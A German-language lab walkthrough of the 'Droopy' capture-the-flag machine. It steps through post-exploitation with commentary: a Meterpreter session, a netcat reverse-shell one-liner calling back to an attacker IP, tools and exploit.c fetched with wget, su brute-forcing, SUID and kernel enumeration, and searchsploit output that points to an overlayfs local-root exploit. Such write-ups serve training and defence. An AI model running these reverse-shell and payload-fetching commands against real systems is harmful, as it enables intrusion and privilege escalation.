Analyse: Das Exploit wird erneut ausgeführt, diesmal mit aktivierter Option `ForceExploit`. Die Meldung "[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.113:46366) at 2024-10-10 23:08:25 +0200" zeigt an, dass eine Meterpreter-Sitzung erfolgreich geöffnet wurde.

Bewertung: Dies bedeutet, dass der Angreifer erfolgreich initialen Zugriff auf das System erlangt hat.

Empfehlung: Systemadministratoren sollten sofort Maßnahmen ergreifen, um die Schwachstelle zu beheben und die Meterpreter-Sitzung zu beenden.

meterpreter > geuid
[-] Unknown command: geuid. Did you mean getuid? Run the help command for more details.

Analyse: Der Befehl `geuid` ist unbekannt. Der korrekte Befehl, um die effektive Benutzer-ID abzurufen, ist `getuid`.

Bewertung: Ein Tippfehler kann zu Fehlern führen und den Fortschritt behindern.

Empfehlung: Überprüfen Sie die Befehlssyntax sorgfältig, bevor Sie sie ausführen.

meterpreter > guid
[+] Session GUID: 3fdf35b8-27ee-4b54-9b32-d7aabaf68c7b

Analyse: Der Befehl `guid` zeigt die GUID (Globally Unique Identifier) der aktuellen Sitzung an. Diese GUID kann verwendet werden, um die Sitzung eindeutig zu identifizieren.

Bewertung: Die GUID ist nützlich für die Protokollierung und Überwachung von Sitzungen.

Empfehlung: Protokollieren Sie die Sitzungs-GUIDs, um verdächtige Aktivitäten zu verfolgen.

meterpreter > shell
Process 1126 created.
Channel 2 created.

Analyse: Der Befehl `shell` öffnet eine interaktive Shell-Sitzung auf dem Zielsystem.

Bewertung: Dies ermöglicht dem Angreifer, beliebige Befehle auf dem Zielsystem auszuführen.

Empfehlung: Beschränken Sie die Berechtigungen der Benutzer, die Shell-Zugriff auf das System haben.

┌──(root㉿CCat)-[~]
└─# which python
/usr/bin/python

Analyse: Der Befehl `which python` zeigt den Pfad zum Python-Interpreter an. Dies ist nützlich, um festzustellen, ob Python auf dem System installiert ist und wo es sich befindet.

Bewertung: Python ist ein häufig verwendetes Tool für die Post-Exploitation.

Empfehlung: Stellen Sie sicher, dass Python auf dem neuesten Stand ist und keine bekannten Sicherheitslücken aufweist.

┌──(root㉿CCat)-[~]
└─# python -c 'import pty;pty.spawn("/bin/bash")'
www-data@droopy:/var/www/html$

Analyse: Dieser Python-Befehl erzeugt eine TTY-Shell, die eine interaktivere Shell-Sitzung ermöglicht. Die Prompt-Änderung zu `www-data@droopy:/var/www/html$` zeigt, dass die Shell als Benutzer `www-data` ausgeführt wird.

Bewertung: Dies ist ein wichtiger Schritt, um die Shell-Sitzung zu verbessern und weitere Befehle auszuführen.

Empfehlung: Beschränken Sie die Berechtigungen des Benutzers `www-data`, um den potenziellen Schaden bei einem Angriff zu minimieren.

www-data@droopy:/var/www/html$ export TERM=xterm

Analyse: Der Befehl `export TERM=xterm` setzt die Terminalvariable auf `xterm`. Dies kann die Kompatibilität mit verschiedenen Terminalanwendungen verbessern.

Bewertung: Dies ist ein üblicher Schritt, um die Terminalumgebung zu konfigurieren.

Empfehlung: Stellen Sie sicher, dass die Terminalvariable korrekt gesetzt ist, um Anzeigeprobleme zu vermeiden.

www-data@droopy:/var/www/html$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4445 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory

Analyse: Dieser Befehl versucht, eine Reverse Shell über `nc` (Netcat) zu erstellen. Er erstellt eine Named Pipe`/tmp/f`, leitet die Eingabe und Ausgabe an `nc` weiter und sendet sie an die IP-Adresse `192.168.2.199` auf Port `4445`. Die Fehlermeldung "rm: cannot remove '/tmp/f': No such file or directory" deutet darauf hin, dass die Named Pipe bereits vorhanden ist oder dass der Benutzer keine Berechtigung hat, sie zu entfernen.

Bewertung: Dies ist eine gängige Technik, um eine Reverse Shell zu erstellen, aber sie erfordert, dass Netcat auf dem Zielsystem installiert ist.

Empfehlung: Deaktivieren Sie Netcat, wenn es nicht benötigt wird, oder beschränken Sie den Zugriff darauf.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4445
listening on [any] 4445 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 35519
$

Analyse: Dieser Befehl startet einen Netcat-Listener auf Port `4445` und wartet auf eine eingehende Verbindung. Die Meldung "connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 35519" zeigt an, dass eine Verbindung vom Zielsystem (`192.168.2.113`) hergestellt wurde.

Bewertung: Dies bestätigt, dass die Reverse Shell erfolgreich erstellt wurde.

Empfehlung: Überwachen Sie den Netzwerkverkehr, um verdächtige Verbindungen zu erkennen.

www-data@droopy:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Der Befehl `id` zeigt die Benutzer-ID, Gruppen-ID und Gruppen des aktuellen Benutzers an. In diesem Fall ist der Benutzer `www-data`.

Bewertung: Dies bestätigt, dass die Shell als Benutzer `www-data` ausgeführt wird.

Empfehlung: Beschränken Sie die Berechtigungen des Benutzers `www-data`, um den potenziellen Schaden bei einem Angriff zu minimieren.

www-data@droopy:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
7670 304 -rwsr-xr-- 1 root messagebus 310800 Nov 25 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
4504 12 -rwsr-xr-x 1 root root 10344 Dec 1 2014 /usr/lib/pt_chown
6317 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
49437 20 -rwsr-sr-x 1 libuuid libuuid 18904 Nov 6 2014 /usr/sbin/uuidd
48880 340 -rwsr-xr-- 1 root dip 347296 Nov 25 2014 /usr/sbin/pppd
12604 152 -rwsr-xr-x 1 root root 155008 Feb 10 2014 /usr/bin/sudo
2971 68 -rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
2968 48 -rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
48702 76 -rwsr-xr-x 1 root root 75256 ct 21 2013 /usr/bin/mtr
2655 32 -rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
48312 24 -rwsr-xr-x 1 root root 23104 May 7 2014 /usr/bin/traceroute6.iputils
2972 48 -rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
2970 44 -rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
4724 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
946 96 -rwsr-xr-x 1 root root 94792 Nov 6 2014 /bin/mount
2656 40 -rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
947 68 -rwsr-xr-x 1 root root 69120 Nov 6 2014 /bin/umount
4725 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
47243 32 -rwsr-xr-x 1 root root 30800 Dec 16 2013 /bin/fusermount

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. SUID-Dateien werden mit den Berechtigungen des Dateieigentümers ausgeführt, was in diesem Fall oft `root` ist. Dies kann eine Möglichkeit zur Privilege Escalation sein.

Bewertung: Die Ergebnisse zeigen eine Reihe von SUID-Dateien, die potenziell ausgenutzt werden könnten.

Empfehlung: Überprüfen Sie die aufgelisteten SUID-Dateien und stellen Sie sicher, dass sie sicher konfiguriert sind. Entfernen Sie das SUID-Bit, wenn es nicht benötigt wird.

www-data@droopy:/var/www/html$ cd /home/

Analyse: Wechselt in das Verzeichnis `/home/`.

Bewertung: Dies ist ein üblicher Ort, um Benutzerverzeichnisse zu finden.

Empfehlung: Überwachen Sie den Zugriff auf Benutzerverzeichnisse, um unbefugten Zugriff zu verhindern.

www-data@droopy:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Dec 11 2014 .
drwxr-xr-x 22 root root 4096 Apr 10 2016 ..
drwxr-xr-x 4 gsuser gsuser 4096 Apr 10 2016 gsuser

Analyse: Listet den Inhalt des Verzeichnisses `/home/` auf. Es gibt ein Benutzerverzeichnis namens `gsuser`.

Bewertung: Dies ist ein potenzielles Ziel für weitere Untersuchungen.

Empfehlung: Überwachen Sie den Zugriff auf das Benutzerverzeichnis `gsuser`.

www-data@droopy:/home$ cd gsuser/

Analyse: Wechselt in das Verzeichnis `/home/gsuser/`.

Bewertung: Dies ermöglicht den Zugriff auf die Dateien des Benutzers `gsuser`.

Empfehlung: Überwachen Sie den Zugriff auf das Benutzerverzeichnis `gsuser`.

www-data@droopy:/home/gsuser$ ls -la
total 32
drwxr-xr-x 4 gsuser gsuser 4096 Apr 10 2016 .
drwxr-xr-x 3 root root 4096 Dec 11 2014 ..
-rw-r--r-- 1 gsuser gsuser 220 Dec 11 2014 .bash_logout
-rw-r--r-- 1 gsuser gsuser 3637 Dec 11 2014 .bashrc
drwx 2 gsuser gsuser 4096 Dec 11 2014 .cache
-rw-r--r-- 1 gsuser gsuser 675 Dec 11 2014 .profile
-rw- 1 root root 1463 Dec 11 2014 .viminfo
drwxrwxr-x 2 gsuser gsuser 4096 Apr 11 2016 drupal

Analyse: Listet den Inhalt des Verzeichnisses `/home/gsuser/` auf. Es gibt ein Verzeichnis namens `drupal`.

Bewertung: Dies könnte eine Drupal-Installation sein, die weitere Informationen liefern könnte.

Empfehlung: Untersuchen Sie das Verzeichnis `drupal`, um weitere Informationen zu erhalten.

www-data@droopy:/home/gsuser$ cd drupal/

Analyse: Wechselt in das Verzeichnis `/home/gsuser/drupal/`.

Bewertung: Dies ermöglicht den Zugriff auf die Dateien der potenziellen Drupal-Installation.

Empfehlung: Untersuchen Sie den Inhalt des Verzeichnisses, um weitere Informationen zu erhalten.

www-data@droopy:/home/gsuser/drupal$ ls -la
total 8
drwxrwxr-x 2 gsuser gsuser 4096 Apr 11 2016 .
drwxr-xr-x 4 gsuser gsuser 4096 Apr 10 2016 ..

Analyse: Listet den Inhalt des Verzeichnisses `/home/gsuser/drupal/` auf. Das Verzeichnis ist leer.

Bewertung: Dies deutet darauf hin, dass es sich möglicherweise um eine unvollständige oder alte Drupal-Installation handelt.

Empfehlung: Untersuchen Sie andere Bereiche des Systems, um weitere Hinweise auf eine Drupal-Installation zu finden.

www-data@droopy:/home/gsuser/drupal$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1167 Apr 10 2016 /etc/passwd

Analyse: Listet die Berechtigungen und Informationen für die Datei `/etc/passwd` auf. Die Datei gehört `root` und ist für alle Benutzer lesbar.

Bewertung: Die `/etc/passwd`-Datei enthält Informationen über alle Benutzer auf dem System, einschließlich ihrer Benutzernamen, IDs und Home-Verzeichnisse.

Empfehlung: Stellen Sie sicher, dass der Zugriff auf die `/etc/passwd`-Datei korrekt eingeschränkt ist.

www-data@droopy:/home/gsuser/drupal$ ls -la /etc/shadow
-rw-r----- 1 root shadow 867 Dec 11 2014 /etc/shadow

Analyse: Listet die Berechtigungen und Informationen für die Datei `/etc/shadow` auf. Die Datei gehört `root` und der Gruppe `shadow` und ist nur für `root` lesbar.

Bewertung: Die `/etc/shadow`-Datei enthält die verschlüsselten Passwörter der Benutzer. Der Zugriff auf diese Datei ist kritisch für die Sicherheit des Systems.

Empfehlung: Stellen Sie sicher, dass der Zugriff auf die `/etc/shadow`-Datei strengstens beschränkt ist.

www-data@droopy:/opt$ cd /var/mail/

Analyse: Wechselt in das Verzeichnis `/var/mail/`.

Bewertung: Dies ist ein üblicher Ort, um E-Mails zu speichern.

Empfehlung: Überwachen Sie den Zugriff auf das Verzeichnis `/var/mail/`, um unbefugten Zugriff auf E-Mails zu verhindern.

www-data@droopy:/var/mail$ ls -la
total 12
drwxrwsr-x 2 root mail 4096 Apr 14 2016 .
drwxr-xr-x 12 root root 4096 Dec 11 2014 ..
-rwxrwxrwx 1 www-data www-data 564 Apr 14 2016 www-data

Analyse: Listet den Inhalt des Verzeichnisses `/var/mail/` auf. Es gibt eine Datei namens `www-data`.

Bewertung: Diese Datei könnte E-Mails enthalten, die an den Benutzer `www-data` gesendet wurden.

Empfehlung: Untersuchen Sie die Datei `www-data`, um weitere Informationen zu erhalten.

www-data@droopy:/var/mail$ cat www-data
From Dave Wed Thu 14 Apr 04:34:39 2016
Date: 14 Apr 2016 04:34:39 +0100
From: Dave
Subject: rockyou with a nice hat!
Message-ID: <730262568@example.com>
X-IMAP: 0080081351 0000002016
Status: NN

George,

I've updated the encrypted file... You didn't leave any
hints for me. The password isn't longer than 11 characters
and anyway, we know what academy we went to, don't you...?

I'm sure you'll figure it out it won't rockyou too much!

If you are still struggling, remember that song by The Jam

Later,
Dave

Analyse: Die Datei `www-data` enthält eine E-Mail von Dave an George. Die E-Mail enthält Hinweise auf ein Passwort: "rockyou with a nice hat!", "password isn't longer than 11 characters" und "we know what academy we went to". Der Hinweis "remember that song by The Jam" deutet auf den Song "Eton Rifles" hin. Daher könnte das Passwort "etonrifles" oder eine Variante davon sein.

Bewertung: Diese E-Mail liefert wertvolle Hinweise auf ein potenzielles Passwort.

Empfehlung: Systemadministratoren sollten sicherstellen, dass keine sensiblen Informationen per E-Mail versendet werden und dass E-Mails sicher gespeichert werden.

www-data@droopy:/tmp$ ls
f suForce techyou.txt top12000.txt

Analyse: Listet den Inhalt des Verzeichnisses `/tmp` auf. Es gibt die Dateien `suForce`, `techyou.txt` und `top12000.txt`.

Bewertung: Diese Dateien könnten für die Privilege Escalation verwendet werden.

Empfehlung: Überwachen Sie den Inhalt des Verzeichnisses `/tmp` regelmäßig.

www-data@droopy:/tmp$ chmod +x suForce

Analyse: Macht die Datei `suForce` ausführbar.

Bewertung: Dies ermöglicht die Ausführung der Datei `suForce`.

Empfehlung: Beschränken Sie die Berechtigungen für ausführbare Dateien im Verzeichnis `/tmp`.

www-data@droopy:/tmp$ ./suForce

Analyse: Führt die Datei `suForce` aus.

Bewertung: Die Ausführung dieser Datei könnte zu einer Privilege Escalation führen.

Empfehlung: Analysieren Sie die Datei `suForce`, um ihre Funktionalität zu verstehen und potenzielle Sicherheitsrisiken zu identifizieren.

www-data@droopy:/tmp$ ./suForce -u gsuser -w top12000.txt

Analyse: Führt die Datei `suForce` mit den Optionen `-u gsuser` (Benutzername `gsuser`) und `-w top12000.txt` (Wortliste `top12000.txt`) aus. Dies deutet darauf hin, dass `suForce` ein Brute-Force-Tool ist, um das Passwort für den Benutzer `gsuser` zu knacken.

Bewertung: Dies ist ein typischer Schritt bei der Privilege Escalation.

Empfehlung: Überwachen Sie die Ausführung von Brute-Force-Tools und implementieren Sie Maßnahmen zur Passwortsicherheit, wie z. B. starke Passwörter und Kontosperrungen.

www-data@droopy:/tmp$ cat suForce

Analyse: Zeigt den Inhalt der Datei `suForce` an. Die Ausgabe ist leer.

Bewertung: Dies ist unerwartet und könnte darauf hindeuten, dass die Datei nicht korrekt ausgeführt wurde oder dass sie keine Ausgabe erzeugt.

Empfehlung: Untersuchen Sie die Datei `suForce` genauer, um die Ursache für die fehlende Ausgabe zu

www-data@droopy:/tmp$ cd /dev/shm

Analyse: Wechselt in das Verzeichnis `/dev/shm`. Dieses Verzeichnis ist ein Shared-Memory-Bereich, der oft für die temporäre Speicherung von Dateien verwendet wird.

Bewertung: Es ist üblich, Exploits und andere temporäre Dateien in `/dev/shm` zu speichern, da es sich um einen schnellen und flüchtigen Speicherbereich handelt.

Empfehlung: Überwachen Sie den Inhalt des Verzeichnisses `/dev/shm` regelmäßig.

www-data@droopy:/dev/shm$ chmod +x suForce
chmod: cannot access 'suForce': No such file or directory

Analyse: Versucht, die Datei `suForce` im Verzeichnis `/dev/shm` ausführbar zu machen. Die Fehlermeldung "chmod: cannot access 'suForce': No such file or directory" deutet darauf hin, dass die Datei nicht vorhanden ist.

Bewertung: Dies ist ein Fehler, da die Datei eigentlich im Verzeichnis `/tmp` vorhanden sein sollte.

Empfehlung: Überprüfen Sie, ob die Datei korrekt verschoben oder kopiert wurde.

www-data@droopy:/dev/shm$ wget 192.168.2.199:8000/techyou.txt
--2024-10-10 22:35:47-- http://192.168.2.199:8000/techyou.txt
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 K
Length: 161891 (158K) [text/plain]
Saving to: 'techyou.txt'

100%[==================================================================================>] 161,891 --.-K/s in 0s

2024-10-10 22:35:47 (331 MB/s) - 'techyou.txt' saved [161891/161891]

Analyse: Lädt die Datei `techyou.txt` von der IP-Adresse `192.168.2.199` über HTTP herunter. Die Datei wird erfolgreich in `/dev/shm` gespeichert.

Bewertung: Dies ist ein üblicher Weg, um Dateien auf das Zielsystem zu übertragen.

Empfehlung: Beschränken Sie den Zugriff auf `wget` und andere Download-Tools.

www-data@droopy:/dev/shm$ wget 192.168.2.199:8000/suForce
--2024-10-10 22:35:57-- http://192.168.2.199:8000/suForce
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2692 (2.6K) [application/octet-stream]
Saving to: 'suForce'

100%[==================================================================================>] 2,692 --.-K/s in 0.001s

2024-10-10 22:35:57 (3.05 MB/s) - 'suForce' saved [2692/2692]

Analyse: Lädt die Datei `suForce` von der IP-Adresse `192.168.2.199` über HTTP herunter. Die Datei wird erfolgreich in `/dev/shm` gespeichert.

Bewertung: Die Datei `suForce` wird nun erneut heruntergeladen, nachdem sie zuvor im `/tmp`-Verzeichnis nicht gefunden wurde.

Empfehlung: Beschränken Sie den Zugriff auf `wget` und andere Download-Tools.

www-data@droopy:/dev/shm$ wget 192.168.2.199:8000/top12000.txt
--2024-10-10 22:36:03-- http://192.168.2.199:8000/top12000.txt
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 100206 (98K) [text/plain]
Saving to: 'top12000.txt'

100%[==================================================================================>] 100,206 --.-K/s in 0s

2024-10-10 22:36:03 (916 MB/s) - 'top12000.txt' saved [100206/100206]

Analyse: Lädt die Datei `top12000.txt` von der IP-Adresse `192.168.2.199` über HTTP herunter. Die Datei wird erfolgreich in `/dev/shm` gespeichert.

Bewertung: Dies ist die Wortliste, die für den Brute-Force-Angriff verwendet wird.

Empfehlung: Beschränken Sie den Zugriff auf `wget` und andere Download-Tools.

www-data@droopy:/dev/shm$ chmod +x suForce

Analyse: Macht die Datei `suForce` im Verzeichnis `/dev/shm` ausführbar.

Bewertung: Dies ermöglicht die Ausführung der Datei `suForce`.

Empfehlung: Beschränken Sie die Berechtigungen für ausführbare Dateien im Verzeichnis `/dev/shm`.

www-data@droopy:/dev/shm$ ./suForce -u gsuser -w top12000.txt
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
-=-
[*] Username: gsuser
[*] Wordlist: top12000.txt
[i] Status:
12645/12645/100%/00001111[-] Fuck! it was not possible to decrypt the password.
-=-

Analyse: Führt die Datei `suForce` mit den Optionen `-u gsuser` und `-w top12000.txt` aus. Das Ergebnis zeigt, dass das Passwort nicht geknackt werden konnte.

Bewertung: Dies deutet darauf hin, dass das Passwort des Benutzers `gsuser` nicht in der Wortliste `top12000.txt` enthalten ist.

Empfehlung: Verwenden Sie eine umfassendere Wortliste oder versuchen Sie andere Angriffstechniken.

www-data@droopy:/dev/shm$ cd /var/backups/

Analyse: Wechselt in das Verzeichnis `/var/backups/`.

Bewertung: Dieses Verzeichnis enthält möglicherweise Backups, die sensible Informationen enthalten könnten.

Empfehlung: Überwachen Sie den Zugriff auf das Verzeichnis `/var/backups/`.

www-data@droopy:/var/backups$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr 10 2014 .
drwxr-xr-x 12 root root 4096 Dec 11 2014 ..

Analyse: Listet den Inhalt des Verzeichnisses `/var/backups/` auf. Das Verzeichnis ist leer.

Bewertung: Dies deutet darauf hin, dass keine Backups vorhanden sind oder dass der Benutzer keine Berechtigung hat, sie anzuzeigen.

Empfehlung: Überprüfen Sie, ob Backups vorhanden sind und ob der Zugriff darauf korrekt eingeschränkt ist.

www-data@droopy:/opt$ cd /opt/

Analyse: Wechselt in das Verzeichnis `/opt/`.

Bewertung: Dieses Verzeichnis wird oft für optionale Softwarepakete verwendet.

Empfehlung: Überwachen Sie den Inhalt des Verzeichnisses `/opt/` regelmäßig.

www-data@droopy:/opt$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec 11 2014 .
drwxr-xr-x 22 root root 4096 Apr 10 2016 ..

Analyse: Listet den Inhalt des Verzeichnisses `/opt/` auf. Das Verzeichnis ist leer.

Bewertung: Dies deutet darauf hin, dass keine optionale Software installiert ist.

Empfehlung: Überprüfen Sie regelmäßig den Inhalt des Verzeichnisses `/opt/`.

www-data@droopy:/opt$ getcap -r / 2>/dev/null

Analyse: Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv nach Dateien mit Dateisystem-Capabilities. Dateisystem-Capabilities ermöglichen es, bestimmten ausführbaren Dateien bestimmte Berechtigungen zu geben, ohne dass das SUID-Bit gesetzt werden muss.

Bewertung: Die Ausgabe ist leer, was bedeutet, dass keine Dateien mit Dateisystem-Capabilities gefunden wurden.

Empfehlung: Überprüfen Sie regelmäßig das System auf unerwartete Dateisystem-Capabilities.

www-data@droopy:/opt$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Analyse: Der Befehl `cat /etc/crontab` zeigt den Inhalt der systemweiten Crontab-Datei an. Die Crontab-Datei enthält Zeitplaninformationen für periodisch auszuführende Aufgaben.

Bewertung: Die Crontab-Datei kann verwendet werden, um Aufgaben mit erhöhten Berechtigungen auszuführen, was ein potenzielles Ziel für die Privilege Escalation ist.

Empfehlung: Überprüfen Sie die Crontab-Datei regelmäßig auf unerwartete oder verdächtige Einträge.

www-data@droopy:/opt$ uname -a
Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Analyse: Der Befehl `uname -a` zeigt detaillierte Informationen über den Kernel des Systems an. Die Ausgabe zeigt, dass es sich um einen Linux-Kernel der Version 3.13.0-43 handelt.

Bewertung: Diese Information ist wichtig, um nach Exploits zu suchen, die speziell für diesen Kernel geeignet sind.

Empfehlung: Halten Sie den Kernel auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.

www-data@droopy:/opt$ cat /etc/lsb*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"

Analyse: Der Befehl `cat /etc/lsb*` zeigt die Linux Standard Base (LSB) Informationen an. Die Ausgabe zeigt, dass es sich um Ubuntu 14.04.1 LTS handelt.

Bewertung: Diese Information ist wichtig, um nach Exploits zu suchen, die speziell für diese Ubuntu-Version geeignet sind.

Empfehlung: Halten Sie das Betriebssystem auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.

Privilege Escalation

Analyse: Dieser Abschnitt beschreibt die Schritte, die unternommen wurden, um die Berechtigungen vom Benutzer `www-data` zu `root` zu erhöhen.

Empfehlung: Systemadministratoren sollten die identifizierten Schwachstellen beheben und geeignete Sicherheitsmaßnahmen implementieren, um unbefugte Privilege Escalation zu verhindern.

┌──(root㉿CCat)-[~]
└─# Privilege Escalation
┌──(root㉿CCat)-[~]
└─# Exploit Title: ofs.c - overlayfs local root in ubuntu
┌──(root㉿CCat)-[~]
└─# google: searchsploit 3.13.0 ---> https://www.exploit-db.com/exploits/37292
www-data@droopy:/opt$ cd /dev/shm

Analyse: Wechselt in das Verzeichnis `/dev/shm`. Wie bereits erwähnt, wird dieses Verzeichnis oft für temporäre Dateien verwendet.

Bewertung: Dies ist ein typischer Schritt, um Exploits und andere temporäre Dateien zu speichern.

Empfehlung: Überwachen Sie den Inhalt des Verzeichnisses `/dev/shm` regelmäßig.

www-data@droopy:/dev/shm$ wget 192.168.2.199:8000/exploit.c
--2024-10-10 22:43:48-- http://192.168.2.199:8000/exploit.c
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4982 (4.9K) [text/x-csrc]
Saving to: 'exploit.c'

100%[==================================================================================>] 4,982 --.-K/s in 0s

2024-10-10 22:43:48 (18.4 MB/s) - 'exploit.c' saved [4982/4982]

Analyse: Lädt die Datei `exploit.c` von der IP-Adresse `192.168.2.199` über HTTP herunter. Die Datei wird erfolgreich in `/dev/shm` gespeichert.

Bewertung: Dies ist ein C-Quellcode, der wahrscheinlich ein Exploit für eine lokale Schwachstelle ist.

Empfehlung: Beschränken Sie den Zugriff auf `wget` und andere Download-Tools.

┌──(root㉿CCat)-[~]
└─# searchsploit kernel 3.13
Exploit Title | Path
-------------------------------------------------------------+---------------------------------
Android Kernel < 4.8 - ptrace seccomp Filter Bypass | android/dos/46434.c
Apple iOS < 10.3.1 - Kernel | ios/local/42555.txt
Apple Mac OS X < 10.6.7 - Kernel Panic (Denial of Service) | osx/dos/17901.c
Apple Mac OS X xnu 1228.3.13 - 'macfsstat' Local Kernel Memo | osx/dos/8263.c
Apple Mac OS X xnu 1228.3.13 - 'Profil' Kernel Memory Leak/D | osx/dos/8264.c
Apple Mac OS X xnu 1228.3.13 - 'zip-notify' Remote Kernel v | osx/dos/8262.c
Apple Mac OS X xnu 1228.3.13 - IPv6-ipcomp Remote kernel Den | multiple/dos/5191.c
Apple macOS < 10.12.2 / iOS < 10.2 - '_kernelrpc_mach_port_ | macos/local/40956.c
Apple macOS < 10.12.2 / iOS < 10.2 - '_kernelrpc_mach_port_ | macos/local/40956.c
Apple macOS < 10.12.2 / iOS < 10.2 - Broken Kernel Mach Por | macos/local/40957.c
Apple macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Refe | multiple/dos/40955.txt
Apple macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Refe | multiple/dos/40955.txt
DESlock+ < 4.1.10 - 'vdlptokn.sys' Local Kernel Ring0 SYSTE | windows/local/16138.c
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bound | windows/local/42625.py
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow | windows/local/42624.py
Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow | windows/local/42665.py
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privil | solaris/local/15962.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Esca | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_PKEDATA' Rac | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_PKEDATA' R | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race | linux/local/40611.c
Linux Kernel 3.11 < 4.8.0 - 'SND_BUFFFORCE' / 'RCVBUFF | linux/local/41995.c
Linux Kernel 3.13 - SGID Privilege Escalation | linux/local/33824.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) | linux/local/37293.txt
Linux Kernel 3.13.1 - 'Recvmmsg' Local Privilege Escalation | linux/local/40503.rb
Linux Kernel 3.13/3.14 (Ubuntu) - 'splice()' System Call Lo | linux/dos/36743.c
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo | linux_x86-64/local/33516.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CNFI | linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CNFIG_X86_X32' | linux/local/31346.c
Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC) | linux/dos/31305.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-A | linux/dos/43234.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.c
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Esca | linux/local/34923.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotify' Local Pri | linux_x86-64/local/44302.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local | linux/dos/42136.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalatio | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Loca | linux/local/45553.c
Linux Kernel < 4.13.1 - Bluetooth Buffer Overflow (PoC) | linux/dos/42762.txt
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Pr | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service | linux/dos/42932.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory C | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free | linux/dos/44579.c
